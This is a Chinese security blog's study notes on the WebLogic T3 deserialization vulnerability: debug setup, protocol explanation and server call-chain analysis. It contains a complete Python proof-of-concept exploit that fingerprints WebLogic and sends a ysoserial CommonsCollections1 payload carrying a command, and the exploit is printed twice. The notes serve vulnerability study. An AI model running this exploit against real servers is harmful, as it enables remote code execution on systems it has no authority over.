WebLogic反序列化学习(T3反序列化学习笔记)

admin 2023年12月25日10:59:36评论35 views字数 3656阅读12分11秒阅读模式
环境搭建

我这里环境搭建参考的是本地搭建的,参考的是这位师傅的文章:

https://www.penson.top/article/av40

可以直接本地windows搭建,他会创建一个目录,我们将这个目录放到idea中即可

WebLogic反序列化学习(T3反序列化学习笔记)

然后将他的lib包导入进来。右键lib目录,然后Add as Library即可。

WebLogic反序列化学习(T3反序列化学习笔记)

然后我们定位到WLSServletAdapter类的handle方法。注意是在weblogic.jar包下的。

WebLogic反序列化学习(T3反序列化学习笔记)

接着配置一下debug,这里我的环境是我的weblogic是在windows上面搭建的,然后mac这边来调试的,这个ip是我windows里面的。

WebLogic反序列化学习(T3反序列化学习笔记)

然后debug运行即可。

可以看到当我们访问:

http://localhost:7001/wls-wsat/CoordinatorPortType的时候,这边debug就可以捕捉到了。

WebLogic反序列化学习(T3反序列化学习笔记)

漏洞复现
POC:
from os import popenimport struct # 负责大小端的转换 import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget,cmd): YSO_PATH = "/home/kali/Desktop/weblogic/ysoserial-all.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read()
def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload)if __name__ == "__main__": ip = "weblogic的ip" port = weblogic的端口 gadget = "CommonsCollections1" cmd = "calc" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)

WebLogic反序列化学习(T3反序列化学习笔记)

T3协议

T3 协议是 Weblogic RMI 调用时的通信协议,远程方法调用也就是RMI,就是说我们可以调用另外一台虚拟机中的对象的方法,就是比如说A对象运行在192.168.0.15上面,B对象运行在192.168.0.16上面,那么A对象就可以调用B对象的方法。

Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的T3协议就是RMI协议的优化版本。

我们来看一下POC:

sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)    sock.connect((ip,port))    handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn"    sock.sendall(handshake.encode())    data = sock.recv(1024)    compile = re.compile("HELO:(.*).0.false")    match = compile.findall(data.decode())    if match:        print("Weblogic: "+"".join(match))    else:        print("Not Weblogic")        return      header = binascii.a2b_hex(b"00000000")    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")    desflag = binascii.a2b_hex(b"fe010000")    payload = header + t3header  +desflag+  payload    payload = struct.pack(">I",len(payload)) + payload[4:]    sock.send(payload)
WebLogic的请求头包:

首先发送请求头的包也就是这字符串:

"t3 12.2.3nAS:255nHL:19nMS:10000000nn"

他会给我们返回weblogic的版本。

这里使用wireshark进行抓包:可以看到在发送请求包头之后,weblogic会相应给我们版本。HELO后面就是我们weblogic的版本。

HELO:10.3.6.0.falseAS:2048HL:19

WebLogic反序列化学习(T3反序列化学习笔记)

紧接着发送webLogic的请求主体:图来源(https://zhuanlan.zhihu.com/p/590291153)

请求主体也就是数据,这些数据可以分几部分内容。第一部分也就是我们上一步发的请求头。也就是说后面的这些序列化数据可以是一部分也可以是好几部分

这里我们会想为什么需要发两次包?

如果我们直接将序列化好的数据发送过去的话,weblogic服务器是不会响应的,需要先发送T3协议头,服务端响应之后在发送序列化的数据。

我们来看下请求主体的报文:

这个报文中有我们的数据,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05。 那么也就是说在 fe 01 00 00 ac ed 00 05后的内容,如果我们要攻击的话,需要对这一串序列化数据进行恶意构造。

WebLogic反序列化学习(T3反序列化学习笔记)

漏洞分析

我们定位到InboundMsgAbbrev类的readObject方法中。readObject方法的底层还会去调用很多其他方法。在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject方法等。

WebLogic反序列化学习(T3反序列化学习笔记)

来到ServerChannelInputStream构造方法,这个构造方法是用来处理服务端收到的请求头信息的。我们跟进去。

WebLogic反序列化学习(T3反序列化学习笔记)

首先他会调用父类的构造方法,然后调用getServerChanel方法。我们跟进去。

WebLogic反序列化学习(T3反序列化学习笔记)

这里的this.connection中存储着我们的端口等信息。然后调用getChannel处理T3协议。处理完T3协议之后返回到readObject方法。

WebLogic反序列化学习(T3反序列化学习笔记)

跟进去readobejct方法继续跟进到#resolveClass方法。

调用链如下:

WebLogic反序列化学习(T3反序列化学习笔记)

可以发现此时var2就是我们的AnnotationInvocationHandler类,也就是代理类,后续就是CC1的环节了。

WebLogic反序列化学习(T3反序列化学习笔记)

参考:

http://wjlshare.com/archives/1573

https://zhuanlan.zhihu.com/p/590291153

原文始发于微信公众号(白帽子):WebLogic反序列化学习(T3反序列化学习笔记)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日10:59:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebLogic反序列化学习(T3反序列化学习笔记)https://cn-sec.com/archives/2331538.html

发表评论

匿名网友 填写信息